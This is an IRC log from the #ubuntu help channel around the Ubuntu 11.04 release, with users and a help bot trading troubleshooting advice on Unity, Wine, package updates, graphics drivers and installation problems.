[17:58] <A_J> TheHackOps: he can't wipe his OS clean with that
[17:58] <eigba> Maybe there will be a new forked named Gubuntu? with gnome? lol
[17:58] <eigba> fork*
[17:58] <xgt001> hey any1 getting good battery backup in natty
[17:58] <DasEi> Browser: you can ping all repos under sources
[17:58] <TheHackOps> A_J, Lies...
[17:58] <mastertogo> in Unity, is it possible to mouse in to other workspaces? e.g. when the mouse touches a screen edge, move into the next workspace in that direction?
[17:58] <ActionParsnip> A_J: I just found some 3Tb NAS for 120 GBP, pretty cheap. Is your data worth that?
[17:58] <Dr_Willis> Goliath:  http://www.omgubuntu.co.uk/2011/04/10-things-to-do-after-installing-ubuntu-11-04/
[17:58] <ceo> ActionParsnip, am have install wine and am need run ms office 2007  but have problem or error like this The file '/home/ceo/Desktop/Microsoft Office 2007 Enterprise/setup.exe' is not marked as executable.  If this was downloaded or copied from an untrusted source, it may be dangerous to run.  For more details, read about the executable bit. can helpp
[17:58] <cablop> ceo mark it as executable, via Nautilus or chmod
[17:58] <scorch2> i am installing 11.04  it has gotten to generating grub.cfg and down to found /boot/memtest.bin and has stopped.  my cpu has been pegged about 15min.  any ideas?
[17:58] <predy> ceo openoffice is free
[17:58] <TheHackOps> A_J, Jking
[17:58] <bleach> hi guys, I'm trying to record from my webcam using vlc. I managed to set up the video capture specifying the name of the device /dev/video1 but I'm not sure which is the name of the audio device, can anyone please help me get it?
[17:58] <aperson> mastertogo⍈ should be able to set it in ccsm
[17:58] <Sree_> A_J: Yes.
[17:58] <TheHackOps> Sree_, Boot into a live CD
[17:58] <ActionParsnip> ceo: chmod +x home/ceo/Desktop/Microsoft Office 2007 Enterprise/setup.exe; wine home/ceo/Desktop/Microsoft Office 2007 Enterprise/setup.exe
[17:58] <ceo> predy, openoffice bad and not good
[17:59] <robin0800> Chilaquiles, then i am out of ideas then it works ok here
[17:59] <Dr_Willis> ceo:  or do from command line 'wine /path/to/installer.exe'
[17:59] <Chilaquiles> robin0800: the last thing I did was try to install nautilus Elementary but it didin't work
[17:59] <Browser> DasEi: fail too
[17:59] <mastertogo> aperson, ccsm?
[17:59] <Jordan_U> aperson: Why are you using bash -c instead of just running the command?
[17:59] <Goliath> Dr_Willis: ty
[17:59] <ActionParsnip> !appdb | ceo may want to check compatibility too
[17:59] <ubottu> ceo may want to check compatibility too: The Wine Application DB is a database of applications and help for !Windows programs that run under !WINE: http://appdb.winehq.org - Join #winehq for application help
[17:59] <cablop> ceo, anyway, office 2007 will give you some trouble to run on wine, try a virtual machine instead
[17:59] <eigba> Im comming from Arch linux, this channel moves fast lol
[17:59] <Sree_> I considered wiping the drive clean but did not know how to get it in ? as a package in itself ? via usb? Thanks again.
[17:59] <ceo> oke thanks ActionParsnip and am will try you step Dr_Willis
[17:59] <calrik> overall unity find for a netbook not great for a desktop
[17:59] <aperson> Jordan_U⍈ it doesn't send the command to screen otherwise
[17:59] <rcmaehl> okay what to I add to grub.cfg to my tty terminals aren't like 50x20 charaters
[17:59] <CQ> hello, virtualbox guestadditions want to have kernel headers... is there a generic package to insdtall to always have the headers installed?
[17:59] <DasEi> Browser: what happens if you try ?
[17:59] <robin0800> Chilaquiles, thats probably whats broken it
[17:59] <scorch2> i am installing 11.04  it has gotten to generating grub.cfg and down to found /boot/memtest.bin and has stopped.  my cpu has been pegged about 15min.  any ideas?
[17:59] <A_J> ActionParsnip: yes proably, but i need to expand again this week, and have 4 ITB internal Already
[17:59] <A_J> i mean external
[17:59] <yuskhanzab> how to undo the "complete panel lock" after update to natty narwhal? can someone help me here
[17:59] <DasEi> !headers | CQ
[17:59] <mastertogo> thanks =)
[17:59] <ubottu> CQ: To install the Linux (kernel) headers, open a terminal and: sudo apt-get install linux-headers-$(uname -r) To install headers for libraries, you need the accompanying -dev packages
[17:59] <Sree_> TheHackOps - okay...I will look for gpart.
[17:59] <ActionParsnip> ceo: 2007 gets a platibum rating :)
[17:59] <Chilaquiles> robin0800: you know any way to fix it?
[17:59] <rcmaehl> !vga
[18:00] <A_J> Sree_: U have the install iso for windows ?
[18:00] <Chilaquiles> robin0800: do you know if is possible to delete it?
[18:00] <rcmaehl> it's like vga=7somehting
[18:00] <arand> eigba: That's why there's #ubuntu-offtopic for non-support chat ;)
[18:00] <Dr_Willis> yuskhanzab:  not seen/heard of a way to unlock it.. yet.
[18:00] <mikebeecham> guys for some reason when I log in I do not see the unity desktop under "Ubuntu", but if I log in under "Classic" gnome appears
[18:00] <mikebeecham> help!
[18:00] <ActionParsnip> A_J: Well I warned you , I have my "I told you so" sign ready
[18:00] <TheHackOps> Sree_, Boot into a live CD, if you need to wipe your hard disk that is currently active
[18:00] <scorch2> i am installing 11.04  it has gotten to generating grub.cfg and down to found /boot/memtest.bin and has stopped.  my cpu has been pegged about 15min.  any ideas?
[18:00] <Jordan_U> aperson: It seems like you're trying to work around problems rather than understand them.
[18:00] <CQ> DasEi: I know that, my question was different: is there a GENERIC package to install to always get the headers instlled when a new kernel is installed?
[18:00] <Goliath> Dr_Willis: how to update the system?
[18:00] <KNUBBIG> Hey, I remember someone asked that already today but I didn't get the solution: When I click "Shutdown" in 11.04, it just simply logs me out instead of really shutting down, but "sudo shutdown -h now" works fine. Any ideas?
[18:00] <cannonball> scorch2: repeatedly asking the same question is not good.  If nobody answers, it likely means nobody knows.  I've never seen it, so I don't know either.
[18:00] <ActionParsnip> mikebeecham: if you don't have 3D accelleration, youo won't get Unity
[18:00] <robin0800> Chilaquiles,  install elementary properly then uninstall it
[18:00] <cablop> CQ check them manually in synaptic (if 11.04 still have it) it depends on your installed kernel and architecture, but you'll find it called linux-headers-XXXXXXX
[18:00] <aperson> Jordan_U⍈ that's line is mostly pulled from an existing, well established script
[18:01] <DasEi> CQ: once you done it, next will be pulled as dependency, too, yes
[18:01] <Browser> DasEi: E: encountered a section with no Package: header E: Problem with MergeList /var/lib/apt/list/ es.archive.ubuntu.com_ubuntu_dists_natty_main_binariy-i386_Packages
[18:01] <Chilaquiles> robin0800: I did like 20 times
[18:01] <aperson> Jordan_U⍈ I didn't ask for help with the part that already works ;)
[18:01] <TheHackOps> I hate flash
[18:01] <A_J> Sree_: download and burn this on an CD
[18:01] <TheHackOps> its so mean to me
[18:01] <A_J> http://www.ultimatebootcd.com/
[18:01] <mikebeecham> ActionParsnip: how do I tell if 3D acceleration is activated?
[18:01] <ActionParsnip> TheHackOps: what video chip are you using?
[18:01] <TheHackOps> A_J, is that the prebuilt ubcd
[18:01] <Dr_Willis> Goliath:  with the package manager tools.
[18:01] <Dr_Willis> Goliath:  or sudo apt-get update, sudo apt-get upgrade
[18:01] <yuskhanzab> before this upgrade, im using ubuntu-tweak to lock and unlock the panel. now after i update the system, its been lock. how can i undo this back? if there a way can someone tell me..?
[18:01] <robin0800> Chilaquiles, where did you get elementary from?
[18:01] <Chico1986> hello everyone, having some issues with wireless on a macbook, could anyone help?
[18:01] <ActionParsnip> mikebeecham: what is the output of:  lspci | grep -i vga
[18:01] <cablop> TheHackOps: install FlaskBlock for Firefox and for Chrome... i hate flash too xD\
[18:02] <mikebeecham> ActionParsnip: sec..
[18:02] <TheHackOps> ActionParsnip, i think some ati radeion mobility
[18:02] <acidflash> hello everyone
[18:02] <Chilaquiles> robin0800: from the repository
[18:02] <A_J> TheHackOps: no, it's an idependent bootable ISo
[18:02] <DasEi> Browser: sudo apt-get clean && sudo dpkg --configure -a && sudo apt-get update
[18:02] <A_J> with many tools
[18:02] <TheHackOps> i don't know
[18:02] <scorch2> cannonball ok but what should i do?  interupt the install process and resart?
[18:02] <ActionParsnip> TheHackOps: if you are using the proprietary driver it should be ok
[18:02] <acidflash> i would like to have upstart launch a software called squid LAST in the order of things to launch
[18:02] <TheHackOps> A_J, So it doesn't use windows like ubcd
[18:02] <acidflash> what is the way to do that
[18:02] <robin0800> Chilaquiles, think you need a ppa for natty
[18:02] <TheHackOps> ActionParsnip, You would think so....
[18:02] <DasEi> acidflash: put it in rc.local
[18:02] <Chilaquiles> I don't have natty
[18:02] <MnCC> well compiz is broken as .... only logical option left was to remove it ..
[18:02] <A_J> no, it's dosbanes TheHackOps
[18:03] <ActionParsnip> acidflash: remove squid from the startup apps and then add the command to run squid as you desire in /etc/rc.local
[18:03] <A_J> dos Based*
[18:03] <acidflash> DasEi: it never gets to the line
[18:03] <cannonball> scorch2: any way to figure out what it's trying to do?  I know in CentOS you can switch terminals to a shell and look around and see processes and such.  I don't know how Ubuntu does it.  I'm not really an Ubuntu guy.
[18:03] <mikebeecham> ActionParsnip: 01.00.0 VGA compatible controller: nVidia Corporation G72 (GeForce 7600GT) (Rev a2)
[18:03] <Dr_Willis> acidflash:  check   the services /etc/init/WHATEVER.conf file and edit it perhaps.
[18:03] <ceo> ActionParsnip, thanks you step work, am can isntalll the msoffice,. but whare / how to run ms word because wine no on linst application menu ?
[18:03] <MnCC> is there a way to revert back to gnome ?
[18:03] <DasEi> acidflash: btw can also set squid to start in daemon-mode
[18:03] <A_J> i use Hiren's Boot CD TheHackOps but is not scritly legal
[18:03] <Dr_Willis> MnCC:  gnome classic is on the login/gdm screen as an option
[18:03] <TrentonAdams> hi guys.  How do I get rid of unity in ubuntu 11.04?
[18:03] <jiltdil> which is best software for desktop recorder available in  natty
[18:03] <Ahmuck> what options are there for the unity button menu?
[18:03] <cablop> TrentonAdams: http://ubuntuguide.net/ubuntu-11-04-natty-login-to-classic-gnome-2-desktop
[18:03] <arand> TrentonAdams: Login with classic session
[18:03] <Ahmuck> it's stacking icons.  is there a way to get two button menus
[18:03] <DasEi> TrentonAdams: http://dl.dropbox.com/u/27668927/gnome.txt
[18:03] <Dr_Willis> Ahmuck:  install ccsm and check out the unity plugin.
[18:04] <ActionParsnip> mikebeecham: ok under the system -> admin menu there is the hardware driver installer, tell it to install the nvidia driver and reboot, you'll have nice 3d accell and you'llbe able to boot to unity
[18:04] <Dr_Willis> Ahmuck:  not seen that option
[18:04] <MnCC> Dr_Willis, going for it =)
[18:04] <TrentonAdams> cablop: thanks
[18:04] <Andy80> hello
[18:04] <mikebeecham> Action, I dont see any menus
[18:04] <mikebeecham> I should do this from common?
[18:04] <txomon> !ask Andy80
[18:04] <robin0800> Chilaquiles, http://www.omgubuntu.co.uk/2011/03/phew-nautilus-elementary-revived-in-time-for-ubuntu-natty/
[18:04] <acidflash> Dr_Willis: there is no squid.conf in /etc/init...
[18:04] <KNUBBIG> Hey, I remember someone asked that already today but I didn't get the solution: When I click "Shutdown" in 11.04, it just simply logs me out instead of really shutting down, but "sudo shutdown -h now" works fine. Any ideas?
[18:04] <A_J> !ask | Andy80
[18:04] <ubottu> Andy80: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[18:04] <jiltdil> best s/w availabe for desktop recording available?
[18:04] <mikebeecham> I mean, classic ActionParsnip
[18:04] <ceo> mikebeecham, see at out side
[18:05] <mikebeecham> ceo: sorry?
[18:05] <scorch2> i am installing 11.04  it has gotten to generating grub.cfg and down to found /boot/memtest.bin and has stopped.  my cpu has been pegged about 15min.  any ideas?
[18:05] <Andy80> txomon, A_J what?! I just said hello :D
[18:05] <Chilaquiles> robin0800: I don't have Natty
[18:05] <DasEi> Browser: doing now ?
[18:05] <txomon> KNUBBIG, you have to press ALT (in gnome 3)
[18:05] <Ahmuck> why is the unity bar hiding to the side?
[18:05] <serene> I've downloaded a NV driver from its website, ended with .run,  what should i do to run it?
[18:05] <jaymeskeller> Hi, I have been looking for an answer to the g15 crash. It seems that uinput is missing from /dev. Any ways to fix it?
[18:05] <cablop> A_J he is saying hello, not asking to ask :P
[18:05] <TheHackOps> ActionParsnip, The wierdest thing is that HP Supports this laptop as an "Official Linux Laptop"
[18:05] <TheHackOps> so all the drivers are made for it
[18:05] <TheHackOps> for ubuntu anyway
[18:05] <Chilaquiles> robin0800: I have Maverick
[18:05] <Augustuen> Is there a way I can have FFmpeg not use as much CPU?
[18:05] <KNUBBIG> txomon: I'm on unity
[18:05] <Augustuen> it's making my system overheat
[18:05] <txomon> Andy80, oki
[18:05] <ceo> mikebeecham, oke thats fine
[18:05] <Jordan_U> aperson: cat "$SPATH/motd" | while read line;
[18:05] <txomon> KNUBBIG, ah ok
[18:05] <mikebeecham> ceo: I dont understand?
[18:05] <A_J> lol Andy80, i just corrected txomon command, idk what happaned.. err Welcome \o/
[18:05] <greylurk> scorch2 what process is running?
[18:05] <TheHackOps> that was strange the chat just stopped
[18:05] <DasEi> Augustuen: you could alter it's nice
[18:06] <Browser> DasEi: fail too, mmm i am going to remove the es.ubuntu....... repository
[18:06] <DasEi> !nice | Augustuen
[18:06] <ubottu> Augustuen: 'Nice' is a property of a process that determines how willing it is to give CPU time to other processes.  A higher value makes it more likely to give away time.  A negative value makes it less likely. Values are from -19 to 19, with 0 being the default.  For more information, type 'man nice' at a terminal.
[18:06] <scorch2> greylurk  what do you mean?  ps x returns a bunch
[18:06] <ceo> mikebeecham, be understand oke... am will help you
[18:06] <remlabm> has the 11.04 netbook been released yet?
[18:06] <xgt001> Augusten: same here
[18:06] <KNUBBIG> Hey, I remember someone asked that already today but I didn't get the solution: When I click "Shutdown" in 11.04 + unity, it just simply logs me out instead of really shutting down, but "sudo shutdown -h now" works fine. Any ideas?
[18:06] <A_J> DasEi: any idea, what language ubottu is coded in
[18:06] <mbeierl> Augustuen: "nice" is a way to make programs yield the CPU to other programs ... to be "nice", but if there's nothing else going on, it will still use 100% cpu and make it hot
[18:06] <cablop> Browser ubuntu 11.04? use main repos for a while until all repos are in sync, it will took a feww weeks or a month depending where you are
[18:06] <mikebeecham> ceo: might be better if you dont help, your english is terrible
[18:07] <mikebeecham> I wouldn't understand you
[18:07] <Jot> is current unity still in beta? or is it intentional I can't type anything in firefox while running chatzilla? -.-
[18:07] <KNUBBIG> remlabm: no more difference between desktop and netbook afaik
[18:07] <vibhav> <remlabm> there is no 11.04 netbook english
[18:07] <Dr_Willis> remlabm:  yes i saw the torrents of it.. not sure how it differs from the desktop ed. now.
[18:07] <TopRamen_EVO> usr13 you there
[18:07] <greylurk> scorch2 try top... What is pegging your CPU?
[18:07] <Pici> !botclone | A_J
[18:07] <ubottu> A_J: ubottu uses supybot, which is available in the main !repositories, with additional plugins that are available at http://ubottu.com/clone.html - to help out with ubottu development please join #ubuntu-bots-devel :)
[18:07] <Andy80> a quick question: which package does contain the Natty's battery applet? I need to report a bug on it but I don't know package name....
[18:07] <Dr_Willis> anyone else notice theres a netbook and desktop torrent files. or are they the same iso now?
[18:07] <bleach> hi guys, I'm trying to record from my webcam using vlc. I managed to set up the video capture specifying the name of the device /dev/video1 but I'm not sure which is the name of the audio device, can anyone please help me get it?
[18:07] <remlabm> ok thank you very much
[18:07] <KNUBBIG> !info supybot
[18:07] <ceo> mikebeecham, oke, thats fine, what i can help you, and don be terreble
[18:07] <A_J> damn u have a command for that too ty Pici
[18:07] <ubottu> supybot (source: supybot): robust and user friendly Python IRC bot. In component universe, is optional. Version 0.83.4.1.ds-2 (natty), package size 430 kB, installed size 2676 kB
[18:07] <TrentonAdams> anyone know how to make the language selector icon show the country code like it used to?  When I upgraded from 10.04 to 10.10 it went away, and now I'm on 11.04 and it's still not there in gnome2
[18:07] <KNUBBIG> so it's Python :D
[18:07] <Pici> Dr_Willis: The netbook torrent is a broken link, I've reported a bug for it.
[18:07] <vish> Andy80: gnome-power-manager
[18:08] <Dr_Willis> Pici:  so its Not supposed to be there i take it?
[18:08] <Pici> Dr_Willis: Correct.
[18:08] <Goliath> Dr_Willis: i get those errors from update http://pastebin.com/xPu1WKYv
[18:08] <txomon> KNUBBIG, pressing a button in gnome is not the same as putting a command in terminal (really yes, but it isn't managed in same way) shutdown
[18:08] <vibhav> any prob anybody?
[18:08] <vibhav> any problem anybody?
[18:08] <ceo> Goliath, need update back
[18:08] <TheHackOps> Im going to try the 32 bit 10.2 flash release
[18:08] <vish> Andy80: it sends the info and indicator applet just displays what it is asked
[18:08] <Dr_Willis> Goliath:  servers are massivbly loaded right now.. so any errors may be due to them being down/slow
[18:08] <TheHackOps> and see if its better
[18:08] <KNUBBIG> txomon: yes ok but wyh doesn't the shtudown button work
[18:08] <jaymeskeller> Hi, I have been looking for an answer to the g15 crash. It seems that uinput is missing from /dev. Any ways to fix it?
[18:08] <Goliath> Dr_Willis: ok give it a look
[18:08] <scorch2> greylurk  how do i tell?  i just have gkrellm telling me that.  99% cpu usage no drive blinking stuck at generating grub.cf
[18:08] <DasEi> A_J: irc bot, either c++ or phython I GUESS, #ubuntu-offtopic will know
[18:08] <Ahmuck> is there a way to customize the top bar?  left click does nothing?
[18:08] <Dr_Willis> Ahmuck:  not really any way to customize it. that ive seen
[18:08] <vish> Ahmuck: nope
[18:09] <vibhav> any problem anybody?
[18:09]  * vibhav is ready to help others!
[18:09] <Dr_Willis> Ahmuck:  i imagine there will be articals on doing it in a few days
[18:09] <TheHackOps> vibhav, FLASH
[18:09] <txomon> KNUBBIG, try looking in what that button calls
[18:09] <TheHackOps> vibhav, PM plz?
[18:09] <Ahmuck> can i say bad things now?
[18:09] <vibhav> <TheHackOps> Yes?
[18:09] <TopRamen_EVO> dr_willis and usr13 if and when either one of you have time please send me a query. thanks
[18:09] <cuppsy> Anyone had issues with Empathy disconnecting from Windows Live Messenger every hour or so?
[18:09] <bp0> how to get rid of the extra shutdown/logout in the system menu?
[18:09] <Ahmuck> for example, the text is dark and no way to read it
[18:09] <Sree_> A_J: I am getting to a mirror site and am on a slow connection...so bear with me and thanks for the help. Thanks HackOps too.
[18:09] <shaneo> can someone help me with a script for xchat
[18:09] <Goliath> Dr_Willis: how can i enable local servers?
[18:09] <TheHackOps> vibhav, can i pm you please
[18:09] <greylurk> scorch2 go to a terminal, type "top" and see what's on the top of the list.
[18:09] <Andy80> vish: yeah, the problem is that I see TWO lines with battery info and then "Preferences" when I click on the icon :) so... it's a  gnome-power-manager bug or a indicator's one?
[18:09]  * Ahmuck needs a double unity bar for this to work
[18:09] <shaneo> its a copy and paste text what do i save the file as
[18:10] <shaneo> .sh?
[18:10] <aperson> Jordan_U⍈ thanks, it's modified to this now: http://pastie.org/1847910 and it works perfectly
[18:10] <Dr_Willis> Goliath:  you mean make your own repository?
[18:10] <vish> Ahmuck: which applet? if it is a problem, you can report a bug about that
[18:10] <vibhav> oh yes <TheHackOps>
[18:10] <vibhav> TheHackOps , you can PM me
[18:10]  * nyven is at the point of breaking PCs here
[18:10] <Nickname_> <jaymeskeller> Hi, I have been looking for an answer to the g15 crash. It seems that uinput is missing from /dev. Any ways to fix it? using it now in natty but had to edit /dev
[18:10] <soreau> Ok why the hell is a terminal popping up and starting orca all by itself? I exit the terminal and it opens again and starts talking! How can I disable this???
[18:10] <greylurk> scorch2 sometimes pressing "m" to sort by memory usage is also helpful.
[18:10] <Dr_Willis> shaneo:  xchat scripts would be loaded by xchat i imagine.  You may want to check the xchat homepage/docs. and #xchat
[18:10] <scorch2> greylurk xflux, xorg,
[18:10] <xgt001> is it true tat in natty the battery life is reduced
[18:10] <aperson> Jordan_U⍈ I haven't used read much, so I always trip up on it. that, and I hardly use <
[18:10] <nyven> cablop: you still here?
[18:10] <Goliath> Dr_Willis: no use another server not the main
[18:10] <Ahmuck> not an applet.  i have 20 icons on unity bar and it's stacking them.  don't need them stacked.  don't want the bar hidden
[18:10] <A_J> Sree_: np, just burn that(4X), boot it up and select parrtition Managers,and delete your entire hdd sytem and make a new NTFS partiotion for windows
[18:10] <DasEi> Browser: from the time, I can tell you didn't use synaptics to find your best mirror, natty is up and fine
[18:10]  * vibhav is ready to help others!
[18:10] <Dr_Willis> Goliath:  they are all experiencing high load.
[18:11] <DW-10297> Anyone know where you can get the netboot media for 11.04 server?
[18:11] <A_J> !natty
[18:11] <ubottu> Ubuntu 11.04 (Natty Narwhal) is the current release of Ubuntu. Download http://releases.ubuntu.com/11.04/ - Release Info: http://www.ubuntu.com/getubuntu/releasenotes/1104
[18:11] <bp0> how to get rid of the extra shutdown/logout in the system menu?
[18:11] <Dr_Willis> Ahmuck:  you mean the left side panel?
[18:11]  * TrentonAdams is ready to be helped. :P
[18:11] <DasEi> vibhav: great , bakshish ;)
[18:11] <Ahmuck> yes, left side panel
[18:11] <vibhav> <DW-10297> there is no ubuntu netbook edition
[18:11] <scorch2> what is xflux?
[18:11] <Sree_> A_J: Thank you. WIll do so and report back in about an hour.
[18:11] <A_J> in natty^
[18:11] <DW-10297> Good thing I didn't say netbook
[18:11] <greylurk> scorch2 never heard of xflux.
[18:11] <Pici> !unr | DW-10297
[18:11] <ubottu> DW-10297: Starting with Ubuntu 11.04, the Ubuntu Netbook Edition is no longer being offered as a separate install as Unity is now standard for all Ubuntu desktop installs.
[18:11] <Ahmuck> left click for menu options don't work, all i get is options for the applet
[18:11] <jiltdil> how to remove not installed(residual config ) from ubutu package man as the apply button is freezes
[18:11] <Dr_Willis> Ahmuck:  not seen a way to hide those yet either.
[18:11] <spungo> DW-10297: http://archive.ubuntu.com/ubuntu/dists/natty/main/installer-i386/current/images/netboot/mini.iso
[18:11] <DW-10297> I said netboot
[18:11] <A_J> Sree_: i won't be here, but good luck
[18:11] <NyvenZA> TheHackOps: I have not tried to install compiz, using it without unity and as soon as I run a window manger, I can't interact with the desktop anymore
[18:11] <vish> Andy80: indicator-applet
[18:12] <Ahmuck> Dr_Willis: heh, mine is hidden, i'm trying to get it back
[18:12] <Pici> DW-10297: ah.. misread, sorry.
[18:12] <DasEi> scorch2: flux is another windowmanager for x
[18:12] <A_J> and i'm sorry your leaving your ubuntu, Sree_
[18:12]  * vibhav is ready to help others!
[18:12] <DasEi> !flux
[18:12] <xgt001> there is a bug filed in launchpad about the poor performance regressio
[18:12] <DW-10297> perfect, thank you
[18:12] <soreau> Hey guys I opened sound preferences and now at the same time, a terminal popped up and it's running orca apparently because it's talking. When I close the terminal it opens itself again and starts orca again! How can I disable this?
[18:12] <vish> vibhav: you can just answer questions people are asking here..
[18:12] <spungo> DW-10297: welcome.
[18:12] <vibhav> Yes
[18:12] <DasEi> scorch2: http://fluxbox.org/
[18:12] <vibhav> vish Yes
[18:12] <DW-10297> spungo: there is no "server specific" media right?
[18:13] <greylurk> scorch2 what's the %cpu for flux?
[18:13] <txomon> soreau, try ps -eF | grep orca and kill those processes
[18:13] <Sree_> A_J: I have an old system from the pentium days that I want to rebuild and startup with ubuntu on that again....This messing with my better half's pc was my mistake....live and learn - they said.
[18:13] <robin0800> DW-10297, wrong
[18:13] <eigba_> Fluxbox might look bare at the beggining but it can be configured trough config files to be a really nice desktop enviroment
[18:13] <scorch2> greylurk i killed it .  i know what it is.  now cpu is normal.  but install is still frozen
[18:13] <DasEi> Augustuen: please ask for pm, I almost have overseen it; with nice you can set how much cpu time a process can access, yes
[18:13] <A_J> Sree_: aah, okie.. tbh i have a windows mac and ubuntu pc, ubuntu doesnt need much power.. so best to use the oldest pc
[18:13] <DasEi> man nice
[18:14] <spungo> DW-10297: not afaik
[18:14] <greylurk> scorch2 not sure that was a good idea, but give it a bit to empty out request queues and such.
[18:14] <FoolsRun> Does anyone here actually like 11.04? I really like it and I'm losing my mind reading the squeeky wheels bitch all over the internet.
[18:14] <scorch2> greylurk stuck at generating grub founf image memtest.bin
[18:14] <eigba_> Brb, I just farted out a butt turd
[18:14] <txomon> FoolsRun, I do
[18:15] <Sree_> A_J - that was the reasoning I used...just have to dust it off and start afresh looking from drivers and such....but thank you for the encouragement.
[18:15] <NyvenZA> sorry, to say this, but so far my experince with natty has been horrible. all the previous versions worked witout a glitch, I upgraded from 9.04 all the way to 10.10 and now this upgrade ruined everything
[18:15] <FoolsRun> txomon: cool, me too.
[18:15] <robin0800> FoolsRun, I like unity 2d
[18:15] <scorch2> greylurk it just a program i insatlled to adjust the screen colors
[18:15] <DW-10297> There doesn't appear to be a separate server netboot image?
[18:15] <NyvenZA> how do i get unity 2d to work ?
[18:15] <Guest53463> hi
[18:15] <txomon> NyvenZA, define everything
[18:15] <Jot> does anyone know the secrets of setting resolution and refresh rate in new ubuntu? :X
[18:15] <Guest53463> hi where can i install a plugin for gedit? ...what is the location?
[18:15] <spungo> FoolsRun: 11.04 is dissapointing, imo. Especially unty.
[18:15] <A_J> Sree_: ubuntu mostly needs no drivers
[18:15] <Jot> spungo: +1
[18:15] <NyvenZA> Wrong Kernel version in the Make File that came default withthe kernel headers
[18:15] <Goliath> Dr_Willis: what is the command to get ubuntu restricted extras?
[18:16] <Dr_Willis> NyvenZA:   i just install the unity2d package and select it at the GDM screen
[18:16] <robin0800> NyvenZA, you have to install it first
[18:16] <FoolsRun> What is disappointing about Unity? I think it makes everything easier for new users.
[18:16] <NyvenZA> so I could not compile vboxdrvs
[18:16] <jimcooncat> on default 10.10 I'm doing some automation -- how to I keep Update Manager from popping up? Would rather have just a notification icon.
[18:16] <Sree_> A_J: I had some issue with finding wireless drivers on the Heron...
[18:16] <NyvenZA> GDM doesn't work
[18:16] <XceptN> how can I add a custom launcher in Unity (11.04(
[18:16] <Jot> FoolsRun: that you can't set proper resolution and refresh rate for your monitor
[18:16] <NyvenZA> I installed lightdm and that works
[18:16] <NyvenZA> I can get a log screen then
[18:16] <scorch2> greylurk now i have xorg, gkrellm, natty, running
[18:16] <Dr_Willis> Goliath:  http://www.omgubuntu.co.uk/2011/04/10-things-to-do-after-installing-ubuntu-11-04/  has a link to do that.. no need to type anything. its 'ubuntu-restricted-extras' package i belive.
[18:16] <A_J> !vbox | A_J
[18:16] <ubottu> A_J, please see my private message
[18:16] <Browser> Anybody could past the apt source list of natty ?
[18:17] <NyvenZA> with GDM the Dosktop icons are diplayed, but the GDM window is invissble
[18:17] <soreau> Hey guys I opened sound preferences and now at the same time, a terminal popped up and it's running orca apparently because it's talking. When I close the terminal it opens itself again and starts orca again! How can I disable this?
[18:17] <vibhav> <XceptN> lemme tell you
[18:17] <xgt001> Goliath: sudo apt-get install ubuntu-restricted-extras
[18:17] <NyvenZA> when i move the mouse over the locations there the login nd password should go the mouse curor changes
[18:17] <NyvenZA> to edit icon
[18:17] <NyvenZA> but my keyboard doesn't work
[18:17] <txomon> Guest53463, I tried in ~/.gnome2/gedit/plugins
[18:17] <Ors> Hi, I am unable to find the 'Contacts' shortcut, which is part of Evolution, in order to access my contacts. I do not want to use the mail client just 'Contacts'. Anybody has an idea?
[18:17] <Guest53463> txomon, also for kubuntu?
[18:18] <FoolsRun> Jot: I haven't had any trouble using nvidia-settings
[18:18] <NyvenZA> if I run unity --replace and then kill it from a console the window manger is killed, but the xorg keeps running
[18:18] <NyvenZA> then my keyboard works and I can interact with the icons on the desktop
[18:18] <scorch2> if the natty install gets stuck is it possible to restart it from where it froze up?
[18:18] <txomon> Guest53463, gedit...
[18:18] <txomon> Guest53463, try it
[18:18] <vibhav> <XceptN> when you use the application right click the icon-> keep in luancher
[18:18] <Jot> FoolsRun: maybe because ubuntu recognizes your monitor
[18:18] <Guest53463> i want to install this plugin: http://sourceforge.net/projects/gedit-fileset/
[18:18] <FoolsRun> scorch2: did it get stuck stopping CUPS by any chance? I had mine stop there a few times and just manually killed CUPS to fix it.
[18:18] <josephnexus> a friend of mine just installed 11.04 and it wondering how to clear recent documents... i've figured out how to do it it in most places, but totem doesn't seem to store it in recently-used and i'm not finding any where to clear it since there is no places menu anymore
[18:18] <NyvenZA> Sofar I have not been able to get into my Xwindows
[18:19] <josephnexus> any ideas?
[18:19] <JaredisAwesome> I was trying to upgrade from 10.04 to 10.10 last night and my stupidass hit shutdown during the middle of the upgrade. Now whenever I boot its telling me I'm missing some drivers, and that Ubuntu is running in low graphics mode (though i cannot make it past that dialogue). Whenever i try to boot into recovery mode it doesn't seem to fully boot properly either. Is there anything i can do to fix this upgrade? Or should I just downlo
[18:19] <Guest53463> txomon, there is no gnome2 here!
[18:19] <dooglus> when I update it tells me "natty InRelease: The following signatures were invalid: NODATA 1 NODATA 2"
[18:19] <dooglus> what do?
[18:19] <scorch2> foolsrun no.  at generating grub
[18:19] <surreal7z> is there any problem with Emerald on ubuntu 11.04 because xubuntu 11.04 has a bug with it.
[18:19] <TrentonAdams> My gnome looks like the old windows now, with really deep looking buttons and text boxes.  Is that a feature of the newer gnome in 11.04, or can I get looking the way it used to?
[18:20] <Jot> well, trying to get any efficient help here is like trying to set resolution in ubuntu 11.04
[18:20] <NyvenZA> Dr_Willis: what is the unity 2d package name >
[18:20] <FoolsRun> NyvenZA: unity-2d
[18:20] <Dr_Willis> NyvenZA:  unity-2d  :)
[18:20] <Dr_Willis> logical name for a change
[18:20] <NyvenZA> i tried unity2d
[18:20] <NyvenZA> will try that
[18:20] <dooglus> !info unity-2d
[18:20] <ubottu> unity-2d (source: unity-2d): Unity interface for non-accelerated graphics cards. In component main, is optional. Version 3.8.4.1-0ubuntu1 (natty), package size 7 kB, installed size 124 kB
[18:20] <Dr_Willis> try apt-cache search unity
[18:21] <FoolsRun> Hey, unity-2d will work in NX, right?
[18:21] <Dr_Willis> or the TAB completion feature. heh
[18:21] <NyvenZA> that is installing thanks
[18:21] <robin0800> NyvenZA, unity-2d-settings
[18:21] <bp0> how to get rid of the extra shutdown/logout in the system menu?
[18:21] <frag4now> hi all. where are stored ubuntu packages after fetch?
[18:21] <bp0> how to get normal scrollbars again?
[18:21] <eigba_> I hope the complaints continue flowing into the Ubuntu team, unity is fine but they should officially support gnome 3 also. I know it can be compiled and installed regardless but they should offically support it
[18:21] <NyvenZA> now, how will i configure it to use the 2d version in place of the 3d verison with out using gdm ?
[18:21] <surreal7z> is anybody using Emerald in ubuntu 11.04, because in xubuntu 11.04 it doesn't work?
[18:21] <POVaddct> does 11.04 already use wayland as gfx system or still xorg?
